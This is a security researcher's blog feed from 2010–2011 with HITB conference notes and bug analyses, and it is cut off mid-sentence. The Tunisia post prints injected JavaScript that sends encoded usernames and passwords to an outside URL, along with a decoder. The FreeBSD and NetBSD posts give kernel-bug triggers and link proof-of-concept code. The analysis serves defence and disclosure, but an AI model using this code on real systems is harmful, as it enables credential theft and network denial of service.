<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-26595053</id><updated>2011-11-06T16:45:49.953-08:00</updated><category term='moufleurs'/><category term='prosels'/><category term='FreeBSD'/><category term='openbsd'/><category term='geekeries'/><category term='conference'/><category term='hitb'/><category term='whoami'/><category term='exploit'/><category term='sayku'/><category term='botnet'/><title type='text'>vulndev... ou pas.</title><subtitle type='html'>Vulnerability developpement blog by Clément LECIGNE !</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>37</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-26595053.post-3594489055221589396</id><published>2011-05-22T01:44:00.000-07:00</published><updated>2011-05-23T01:32:47.050-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='conference'/><category scheme='http://www.blogger.com/atom/ns#' term='hitb'/><title type='text'>Deuxième jour dans la hackbox</title><content type='html'>Le deuxième jour de la hackbox a commencé par un débat très intéressant sur « THE ECONOMICS OF VULNERABILITIES » avec Chris Evans (Google), Aaron Portnoy (ZDI), Lucas Adamski (Mozilla) et des responsables sécu de MS, Adobe et RIM. Grâce aux questions du public et surtout celles de Don Bailey, le débat a essentiellement tourné autour des marchés noirs où des *exploits* sont achetés bien plus cher que sur le marché "légal" mis en place par les « vulnerability reward programs » de Google, Mozilla ou encore ZDI... mais comme ils l'ont bien mentionné c'est pas le même type de vente, sur le marché noir, on veut un exploit stable qui fonctionne sur le maximum de platformes tandis que chez Google, Mozilla et ZDI on veut une *bonne* description de la vulnérabilité et de son impact. Ils ont aussi dis une chose importante est que pour la plupart des chasseurs de vulns, le prestige et la reconnaissance comptent autant voir plus que les sous. Aaron a également parler de ZDI où seulement 30% des soumissions sont acceptées et que pour la plupart de celles qui sont refusées sont des « hey regardez XXX segfault quand on ouvre fuzz.html ». Une question sur VUPEN et leur « politique » de revente/buzz de 0day a aussi été posée mais Chris n'a pas répondu. :-(&lt;br /&gt;&lt;br /&gt;La première présentation de la journée était sur les nouvelles générations d'attaques ouaib du Founder de blueinfy. L'auteur a montré tous les nouveaux vecteurs d'attaques introduits par l'arrivée de HTML5 et ses amis. Ainsi il a montré les nouveaux endroits (balise video) où on pouvait introduire du JS, les nouveaux endroits où on pouvait retrouver des données intéressantes (LocalWebStorage, WebSQL) qu'on peut récupérer en JS... Ses &lt;a href="http://www.blueinfy.com/tools.html"&gt;outils&lt;/a&gt; sont disponibles sur le site de sa société.&lt;br /&gt;&lt;br /&gt;Ensuite j'ai assisté a deux présentations undergrounds sur le piratage des satellites et des réseaux 3G/4G et « ça fait peur ». Au niveau du piratage des satellites, la sécurité mise en place est une sécurité par l'obscurité essentiellement et beaucoup de points d'entrées (employés, machines de commandes) peuvent être attaqués et c'est ce qu'ils ont démontrés en montrant qu'il était possible de « pirater » un distributeur de billets qui communique par satellite. La présentation sur les réseaux 3G/4G a essentiellement tourné autour des protocoles GTP (GPRS Tunnelling Protocol) où les deux monsieurs ont montré que les devices (CISCO) qui supportent ces protocoles ne sont pas infaillibles (DoS avec un simple flood, crash après fuzzing). De plus ils ont scanné le nain ternet et ont trouvé que beaucoup beaucoup de devices (parfois méga-vieille) répondaient aux pings GTP (et même en version GTP-C, variante utilisée pour le transport de données sensibles) et que c'est mal.&lt;br /&gt;&lt;br /&gt;Ensuite j'ai assisté au début de la présentation de l'italiano Rosario Valotta qui nous a présenté son 0day qu'il a trouvé dans toutes les versions d'IE sauf la 9. Le 0day en question est qu'un site web, en combinant différentes techniques, peut accéder au contenu des cookies stockés sur le disque dur dans Documents and Settings/user/Cookies/user@google[1].txt. Les techniques employées pour arriver à ses fins sont le fait de masquer l'iframe contenant le contenu du cookie, de faire du drag and drop jacking, l'utilisateur est deviné grâce à l'accès à un SMB share à distance (img src=\\coincoin.com\) où le nom de l'utilisateur est dévoillé dans la négociation NBT. La dernière chose à savoir pour que son exploit marche est la version du windows utilisé par la victime mais pour cela il suffit de regarder l'user-agent qu'IE annonce... Bref, un talk intéressant qui décrit de A à Z bien comment on peut arriver à ces fins avec une simple vulnérabilité à la con. Il reste encore à gérer le problème de localisation de l'OS parce que chez les frenchies les cookies sont dans C:\Utilisateurs il me semble.&lt;br /&gt;&lt;br /&gt;Pour finir la journée et avant la keynote de fin, je suis allé voir la fin de la présentation de Guillaume Delugre sur le pwnage du firmware des NIC broadcom et ça rocks. Il a montré ce qui se passe à l'intérieur de la carte (processeur pseudoMIPS, aux mémoires auxquelles la carte a accès) , ensuite il a présenté ses 2 débuggeurs (InVivoDbg et InVitroDbg) qui utilisent Metasm (ruby). InVitro est un firmware dans QEMU qui dialogue en live avec la carte. Ensuite il a fini sa présentation par montrer ce qu'on peut faire avec tout ça comme son firmware rookité qui doit tenir en moins de 48KB de mémoire (text, stack, packet buffers).  Son rookit intègre un client DHCP et un moyen d'écrire dans la mémoire du système hôte (à travers DMA). Ainsi il a montré une démo où son rootkit patche un jmp pour accéder au système avec NIC rootkité (un Windows XP) sans mot de passe. Impressive! Il est aussi en train de développer un memory dumper qui dump la mémoire du système hôte sur le réseau. On pourrait foutre un firewall la dedans, il a dit qu'il avait déjà la stack IP/UDP. ;-)&lt;br /&gt;&lt;br /&gt;Le CTF a été remporté, haut la main, par la team française C.o.P, jéjé. ;-)&lt;br /&gt;&lt;br /&gt;Voilà, pour ceux qui veullent plus d'info, &lt;a href="http://blog.rootshell.be/"&gt;xme&lt;/a&gt; a fait des meilleurs résumés que les miennes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-3594489055221589396?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/3594489055221589396/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=3594489055221589396' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/3594489055221589396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/3594489055221589396'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2011/05/deuxieme-jour-dans-la-hackbox.html' title='Deuxième jour dans la hackbox'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-3829851537183631348</id><published>2011-05-19T08:44:00.000-07:00</published><updated>2011-05-22T01:44:42.861-07:00</updated><title type='text'>Premier jour dans la hackbox :)</title><content type='html'>&lt;span style="font-weight:bold;"&gt;[grosses fautes d'orthographe and co inside]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Le premier jour de la hack in the box est déjà over, j'ai pas vu la journée passer (même si elle est pas encore terminée). Premièrement l'organisation est parfaite et l'hôtel (cadre, bouffe) rocks des ours. :)&lt;br /&gt;&lt;br /&gt;La conférence a commencé par une keynote du chief security officer de Fessebooks. Le grand monsieur a présenté une à une toutes les features « secures » qui ont été implémentées dans FB comme l'HTTPS et son forcage, question privée au hasard au login... Il a présenté les Self XSS (je ne connaissais pas le nom mais c'est bien trouvé) et comment il compte les éviter/réduire (prévention chez l'utilisateur, propagation des tips)... etc...&lt;br /&gt;&lt;br /&gt;Ensuite j'ai décidé d'assister à la présentation sur les botnets d'un gars de FOX-IT. Elle était très bien. En gros elle ressemble à celle que j'ai &lt;a href="http://clem1.be/gimme/xpose.pdf"&gt;faite&lt;/a&gt; mais en beaucoup mieux et avec surtout des vrais exemples bien plus poilus (bcp de $$$) que les miens. J'ai noté quelques noms de « botnets/threats » que je connaissais pas comme le fake site TrafficConverter.biz, le botnet Artro qui cache ses commandes dans des commentaires d'image GIF. Un truc que jamais vu aussi... un exploit kit (bomba dans son exemple) qui check presque en live si les payloads utilisés sont détectés par les AV. Funny!&lt;br /&gt;&lt;br /&gt;Après ça, j'ai bougé mes fesses pour aller voir le talk de Claudio Criscione qui nous présente son outil nommé MetaXSSploit. Au début, beaucoup beaucoup de blabla pour raconter l'histoire de la naissance de son outil... un peu de blabla sur les XSS du genre « In a real world, XSS is a real gift for pentesters. Not just an alert() »  ... puis il nous présente son outil^Wmodule metasploit qui:&lt;br /&gt;&lt;br /&gt;- possède une base d'appli. ouaib vulnérables à des XSS (remplie grâce au parsing de bugtraq@)&lt;br /&gt;- le pentester choisi l'appli. qu'il veut attaquer (gestion des GET/POST)&lt;br /&gt;- il choisi le payload (un bon gros beef)&lt;br /&gt;- metaxssploit génère une page de redirection automatique (forward) ou un bouton clikaconvi (enrobé de phising)&lt;br /&gt;- la victime navigue sur la page et sbam, elle se fait beefer&lt;br /&gt;&lt;br /&gt;Pas super mega sexy mais bien pratique pour les pentesters. Pas encore releasé mais ça va venir...&lt;br /&gt;&lt;br /&gt;Ensuite après le repas de oufz0r, le gros loutrage aux stands Google, Fox-it, Qualys et zieutage du CTF (allez les C.o.P :-D)...&lt;br /&gt;&lt;br /&gt;Présentation de « webshellng » de la devoteam... Les 2 frenchies nous ont décortiqué en long, en large et en travers les webshells écrits en PHP, JSP ou ASP... comme vous pouvez en trouver &lt;a href="http://kabooos.persiangig.com/shell/"&gt;là&lt;/a&gt; ou &lt;a href="http://usuarios.multimania.es/pilotcast/"&gt;là&lt;/a&gt; (thanks to my old and crappy honeypots). Ensuite ils nous ont montré leur framework qui intègre les meilleurs fonctionnalités des webshells qu'ils ont étudié. Ce framework permet de générer le shell.{php,jsp,asp} (source chiffrée avec password, ip du serveur et ip du client pour être utiliser qu'une seule fois) à balancer sur le serveur web à pwner. Une fois déployé le serveur est contrôlable à travers une interface Java (hum ça swing) par l'intermédiaire du webshell. La présentation se termine sur les possibilités d'évasion que propose leur framework. En gros ils disent que tout est chiffré pour pas se faire pwned par une signature qui match sur des patterns bien précis (cmd.exe, /etc/passwd) mais me semble avoir vu un POST avec login=crypted&amp;cmd=crypted&amp;bla=crypted et un User-Agent bien spécifique dans leur démo. Apparement ils sont pas près de releaser leur outil tel quel... dommage. :-(&lt;br /&gt;&lt;br /&gt;La deuxième présentation auquelle j'ai assisté est celle d'une étudiante qui présente HOOOOWAAAAAAARDDDDDDD, un outil pour retrouver des structures dans un binaire... stripé (et oui on est à Amsterdam hein ;-)). Elle explique comment elle traque les pointeurs pour trouver des structures et les champs de ces dernières. Elle s'est beaucoup beaucoup attardée sur la méthode utilisée pour différencier une structure d'un tableau... Les résultats ont l'air pas mal mais malheureusement la démo n'a pas marché à 100% et l'outil ne sera pas releasé (décidément) #@!#@#^#!#@!&lt;br /&gt;&lt;br /&gt;La journée s'est terminée par the talk de Monsieur HardenedP^WHardenedIOS où il a montré comment il a rajouté l'ASLR dans l'iOS &lt; 4.3 grâce à son outil antid0te. Même si je ne toucherais probablement jamais à ça, j'ai appris pas mal de chose sur iOS. Par exemple je ne savais pas que les librairies dynamiques étaient shippés dans un gros package (dyld_shared_cache) partagé par toutes les applications. Il a ensuite montré comment son antid0te poutrait sa maman par rapport à l'ASLR implémenté par Apple dans iOS 4.3. En gros, antid0te réordonne les libs dans le package dyld_shared_cache alors qu'Apple ne le fait pas donc avec un memory leak là dedans, le pirate peut faire du matching binaire et deviner l'adresse de base où a été placés ce gros package et faire rouler son ROP trankilosse (et oui on est à Amsterdam hein). Bref, un très très bon talk même s'il a fait pleurer toute l'audience à la fin en disant que son ELEVATOR iPad2 jailbreak0r était un fake... ;-)&lt;br /&gt;&lt;br /&gt;Next tomorrow,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-3829851537183631348?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/3829851537183631348/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=3829851537183631348' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/3829851537183631348'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/3829851537183631348'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2011/05/premier-jour-dans-la-hackbox.html' title='Premier jour dans la hackbox :)'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-3692949246183245909</id><published>2011-01-22T09:12:00.000-08:00</published><updated>2011-01-23T02:40:46.332-08:00</updated><title type='text'>Googlecode for haxors.</title><content type='html'>I have just found on one of my honeypots that web haxors are now using Googlecode to store their PHP malwares. These malwares are injected on various websites by using RFI vulnerabilities. The most active repo is majitoz.googlecode.com. You can browse the malwares in the &lt;a href="https://code.google.com/p/majitoz/downloads/list"&gt;downloads&lt;/a&gt; category. Sadly, there is nothing interesting at the moment, just fucking well-known PHP/PERL malwares.&lt;br /&gt;&lt;br /&gt;UPDATE: Google has been informed and majitoz has been taken down. Great reactivity.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-3692949246183245909?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/3692949246183245909/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=3692949246183245909' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/3692949246183245909'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/3692949246183245909'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2011/01/googlecode-for-haxors.html' title='Googlecode for haxors.'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-3340205206601029307</id><published>2011-01-14T12:07:00.000-08:00</published><updated>2011-01-24T02:27:29.387-08:00</updated><title type='text'>Tunisia haxors...</title><content type='html'>&lt;a href="http://blog.rootshell.be/2011/01/13/tunisia-tracks-users-with-javascript-injection/"&gt;Some&lt;/a&gt; &lt;a href="http://www.r00ted.com/doku.php?id=injection_tunisie"&gt;people&lt;/a&gt; speak about the JS injected code done in Tunisia when you try to access website like gmail, facebook... They say that the credentials are sent in clear text in the evil wo0dh3ad URL but it is not totally true since there is a very small encoding like we can see in this snippet.&lt;br /&gt;&lt;br /&gt;var url = "www.fessebook.com/wo0dh3ad?q="+r5t(5)+"&amp;amp;u="+h6h(us3r)+"&amp;amp;p="+h6h(pa55);&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;us3r&lt;/span&gt; and &lt;span style="font-style:italic;"&gt;pa55&lt;/span&gt; are encoded using the h6h() function which is:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;function h6h(st)&lt;br /&gt;{&lt;br /&gt; for(i=0;i&amp;lt;st.length;i++) {&lt;br /&gt;  c=st.charCodeAt(i);&lt;br /&gt;  ch=(c&amp;amp;0xF0)&amp;gt;&amp;gt;4;&lt;br /&gt;  cl=c&amp;0x0F;&lt;br /&gt;  st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);&lt;br /&gt; }&lt;br /&gt; return st2;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;It just loops through the string, splits each 8 bits char in two numbers of 4 bits. Then it creates two new chars (chr()) by adding 97 (ord('a')) to each number and concatenates them to the encoded string which is returned and inserted in URL. A bit lame isn't it? :-)&lt;br /&gt;&lt;br /&gt;To decode &lt;span style="font-style:italic;"&gt;us3r&lt;/span&gt; and &lt;span style="font-style:italic;"&gt;pa55&lt;/span&gt; from your logs, you can use &lt;a href="http://clem1.be/gimme/unh6h.py"&gt;this&lt;/a&gt; silly (no bounds checking) python script:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;[clem1@blah ~]$ cat unh6h.py&lt;br /&gt;import sys&lt;br /&gt;def unh6h(string):&lt;br /&gt; u = ""&lt;br /&gt; for i in range(0, len(string), 2):&lt;br /&gt;  s = ord(string[i])-97&lt;br /&gt;  s &amp;lt;&amp;lt;= 4&lt;br /&gt;  s += ord(string[i+1])-97&lt;br /&gt;  u += chr(s)&lt;br /&gt; return u&lt;br /&gt;print(unh6h(sys.argv[1])) &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;A quick test:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&gt;&gt;&gt; h6h("password")&lt;br /&gt;"hagbhdhdhhgphcge"&lt;br /&gt;[clem1@blah ~]$ python unh6h.py "hagbhdhdhhgphcge"&lt;br /&gt;password&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-3340205206601029307?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/3340205206601029307/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=3340205206601029307' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/3340205206601029307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/3340205206601029307'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2011/01/tunisia-haxors.html' title='Tunisia haxors...'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-7141259609658937665</id><published>2010-12-06T10:25:00.000-08:00</published><updated>2010-12-06T12:01:27.977-08:00</updated><title type='text'>Very old FreeBSD mbuf exhaustion...</title><content type='html'>This Linux &lt;a href="http://www.exploit-db.com/exploits/15622/"&gt;exploit&lt;/a&gt; reminds me a &lt;a href="http://www.freebsd.org/cgi/query-pr.cgi?pr=100219"&gt;bug&lt;/a&gt; in FreeBSD reported by me &lt;span style="font-weight:bold;"&gt;4&lt;/span&gt; years ago.&lt;br /&gt;&lt;br /&gt;The bug resides in the IPV6_PKTOPTIONS &lt;span style="font-style:italic;"&gt;setsockopt()&lt;/span&gt; code located in ip6_output.c:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;int ip6_ctloutput(struct socket *so, struct sockopt *sopt)&lt;br /&gt;{&lt;br /&gt;(...)&lt;br /&gt; switch (optname) {&lt;br /&gt;  case IPV6_2292PKTOPTIONS:&lt;br /&gt;#ifdef IPV6_PKTOPTIONS&lt;br /&gt;  case IPV6_PKTOPTIONS:&lt;br /&gt;#endif&lt;br /&gt;  {&lt;br /&gt;   struct mbuf *m;&lt;br /&gt;   error = soopt_getm(sopt, &amp;m); /* XXX */&lt;br /&gt;   if (error != 0)&lt;br /&gt;     break;&lt;br /&gt;(...)&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;soopt_getm()&lt;/span&gt; is called with user supplied &lt;span style="font-style:italic;"&gt;sopt&lt;/span&gt; defined like this.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;struct  sockopt {&lt;br /&gt; enum    sopt_dir sopt_dir; /* is this a get or a set? */&lt;br /&gt; int     sopt_level;     /* second arg of [gs]etsockopt */&lt;br /&gt; int     sopt_name;      /* third arg of [gs]etsockopt */&lt;br /&gt; void   *sopt_val;       /* fourth arg of [gs]etsockopt */&lt;br /&gt; size_t  sopt_valsize;   /* (almost) fifth arg of [gs]etsockopt */&lt;br /&gt; struct  thread *sopt_td; /* calling thread or null if kernel */&lt;br /&gt;};&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Notice that in our case &lt;span style="font-style:italic;"&gt;sopt_td&lt;/span&gt; field is not NULL. As you can see below, depending on the user supplied &lt;span style="font-style:italic;"&gt;sopt_valsize&lt;/span&gt;, &lt;span style="font-style:italic;"&gt;soopt_getm()&lt;/span&gt; will try to allocate a mbuf and a cluster of mbuf if &lt;span style="font-style:italic;"&gt;sopt_valsize&lt;/span&gt; is greater than MLEN (~256). If there is not enough mbuf avalaible, &lt;span style="font-style:italic;"&gt;soopt_getm()&lt;/span&gt; will wait infinetely until mbufs are released because &lt;span style="font-style:italic;"&gt;sopt_td&lt;/span&gt; is not NULL.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;int soopt_getm(struct sockopt *sopt, struct mbuf **mp)&lt;br /&gt;{&lt;br /&gt; struct mbuf *m, *m_prev;&lt;br /&gt; int sopt_size = sopt-&gt;sopt_valsize;&lt;br /&gt; MGET(m, sopt-&gt;sopt_td ? M_WAIT : M_DONTWAIT, MT_DATA);&lt;br /&gt; if (m == NULL)&lt;br /&gt;  return ENOBUFS;&lt;br /&gt; if (sopt_size &gt; MLEN) {&lt;br /&gt;  MCLGET(m, sopt-&gt;sopt_td ? M_WAIT : M_DONTWAIT);&lt;br /&gt;(...)&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;If you have noticed the possible integer overflow on &lt;span style="font-style:italic;"&gt;sopt_size&lt;/span&gt;, stay seated because it is already checked by the callers.&lt;br /&gt;&lt;br /&gt;To trigger this mbuf exhaution you can use &lt;a href="http://clem1.be/gimme/freesuckz.c"&gt;this&lt;/a&gt; poc.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ uname -v&lt;br /&gt;FreeBSD 8.1-RELEASE&lt;br /&gt;$ netstat -m&lt;br /&gt;258/267/525 mbufs in use (current/cache/total)&lt;br /&gt;256/134/390/4672 mbuf clusters in use (current/cache/total/max)&lt;br /&gt;(...)&lt;br /&gt;$ ./foo&amp;&lt;br /&gt;(...)&lt;br /&gt;$ netstat -m&lt;br /&gt;4547/193/4740 mbufs in use (current/cache/total)&lt;br /&gt;4544/128/4672/4672 mbuf clusters in use (current/cache/total/max)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;(Try an &lt;span style="font-style:italic;"&gt;ifconfig iface down up&lt;/span&gt; as root and system will now be completely frozen. I guess the iface releases its mbufs when it goes down but cannot allocate new ones when it goes up because our poc has already eaten all of them, gniark)&lt;br /&gt;&lt;br /&gt;This bug is quite funny and dangerous because it does not cause a system crash followed by a reboot like a simple kernel panic but it consumes infinitely all the available system mbufs and cause serious networking troubles. :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26595053-7141259609658937665?l=vulndev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vulndev.blogspot.com/feeds/7141259609658937665/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26595053&amp;postID=7141259609658937665' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/7141259609658937665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26595053/posts/default/7141259609658937665'/><link rel='alternate' type='text/html' href='http://vulndev.blogspot.com/2010/12/very-old-freebsd-mbuf-exhaustion.html' title='Very old FreeBSD mbuf exhaustion...'/><author><name>clem1</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26595053.post-4592644518103873605</id><published>2010-12-01T00:30:00.000-08:00</published><updated>2010-12-04T04:58:27.879-08:00</updated><title type='text'>NetBSD Denial^WLocal root ?</title><content type='html'>Dear,&lt;br /&gt;&lt;br /&gt;Here are some information about the &lt;a href="http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2010-013.txt.asc"&gt;vulnerability&lt;/a&gt; released by NetBSD.org 3 days ago.&lt;br /&gt;&lt;br /&gt;The issue is due to the use of an uninitialized structure « allocated » on the kernel stack. It seems to affect all NetBSD stable releases since 5.0.2.&lt;br /&gt;&lt;br /&gt;Vulnerability resides in the &lt;span style="font-style: italic;"&gt;udp6_output()&lt;/span&gt; kernel function which can be triggered from userland by a single &lt;span style="font-style: italic;"&gt;sendmsg()&lt;/span&gt; call on a basic UDP6 socket. Here is the buggy code:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;int udp6_output(..., struct mbuf *addr6, struct mbuf *control, ...)&lt;br /&gt;{&lt;br /&gt;(...)&lt;br /&gt;struct ip6_pktopts *optp, opt; [0]&lt;br /&gt;(... nothing is done on opt ...)&lt;br /&gt;if (addr6) {&lt;br /&gt;if (addr6-&gt;m_len != sizeof(*sin6)) {&lt;br /&gt; error = EINVAL;&lt;br /&gt; goto release; [1]&lt;br /&gt;}&lt;br /&gt;sin6 = mtod(addr6, struct sockaddr_in6 *);&lt;br /&gt;if (sin6-&gt;sin6_family != AF_INET6) {&lt;br /&gt; error = EAFNOSUPPORT;&lt;br /&gt; goto release; [2]&lt;br /&gt;}&lt;br /&gt;(...)&lt;br /&gt;}&lt;br /&gt;(...)&lt;br /&gt;if (control) {&lt;br /&gt;if ((error = ip6_setpktopts(control, &amp;amp;opt, in6p-&gt;in6p_outputopts, priv, IPPROTO_UDP)) != 0) [3]&lt;br /&gt; goto release;&lt;br /&gt; optp = &amp;opt;&lt;br /&gt;}&lt;br /&gt;(...)&lt;br /&gt;release:&lt;br /&gt;m_freem(m);&lt;br /&gt;releaseopt:&lt;br /&gt;if (control) {&lt;br /&gt;ip6_clearpktopts(&amp;amp;opt, -1); [4]&lt;br /&gt;m_freem(control);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;At [0] we have an &lt;span style="color: rgb(153, 0, 0); font-style: italic;"&gt;opt ip6_pktopts&lt;/span&gt; structure declarated on the kernel stack. This structure is initialized/filled in [3] by &lt;span style="font-style: italic; color: rgb(153, 0, 0);"&gt;ip6_setpktopts()&lt;/span&gt; and cleared in the &lt;span style="font-style: italic; color: rgb(153, 0, 0);"&gt;releaseopt&lt;/span&gt; label [4] by a call to &lt;span style="font-style: italic; color: rgb(153, 0, 0);"&gt;ip6_clearpktopts()&lt;/span&gt;. Unfortunately this label can be achieved before initialization at [1] or [2] if &lt;span style="color: rgb(153, 0, 0); font-style: italic;"&gt;udp6_output()&lt;/span&gt; is called with a bad addr6 (&lt;span style="font-style: italic; color: rgb(204, 0, 0);"&gt;&lt;span style="color: rgb(153, 0, 0);"&gt;msg_name&lt;/span&gt; &lt;/span&gt;field of the &lt;span style="font-style: italic; color: rgb(153, 0, 0);"&gt;msghdr&lt;/span&gt; struct) for example. If it is the case, &lt;span style="color: rgb(153, 0, 0); font-style: italic;"&gt;ip6_clearpktopts() &lt;/span&gt;will try to free uninitialized pointers and/or to remove routes from linked lists. Here is the most interesting parts of &lt;span style="font-style: italic; color: rgb(153, 0, 0);"&gt;ip6_clearpktopts()&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;void ip6_clearpktopts(struct ip6_pktopts *pktopt, int optname)&lt;br /&gt;{&lt;br /&gt;if (optname == -1 || optname == IPV6_PKTINFO) {&lt;br /&gt; if (pktopt-&gt;ip6po_pktinfo)&lt;br /&gt;  free(pktopt-&gt;ip6po_pktinfo, M_IP6OPT);&lt;br /&gt;(...)&lt;br /&gt;if (optname == -1 || optname == IPV6_RTHDR) {&lt;br /&gt; if (pktopt-&gt;ip6po_rhinfo.ip6po_rhi_rthdr)&lt;br /&gt;  free(pktopt-&gt;ip6po_rhinfo.ip6po_rhi_rthdr, M_IP6OPT);&lt;br /&gt; rtcache_free(&amp;amp;pktopt-&gt;ip6po_route);&lt;br /&gt;}&lt;br /&gt;(...)&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Exploitation of this security issue can result in a kernel panic by using &lt;a href="http://clem1.be/gimme/udp6ownage.c"&gt;this&lt;/a&gt; simple proof of concept. I am currently trying to gain root priv. through this vulnerability by using some evil &lt;span style="color: rgb(153, 0, 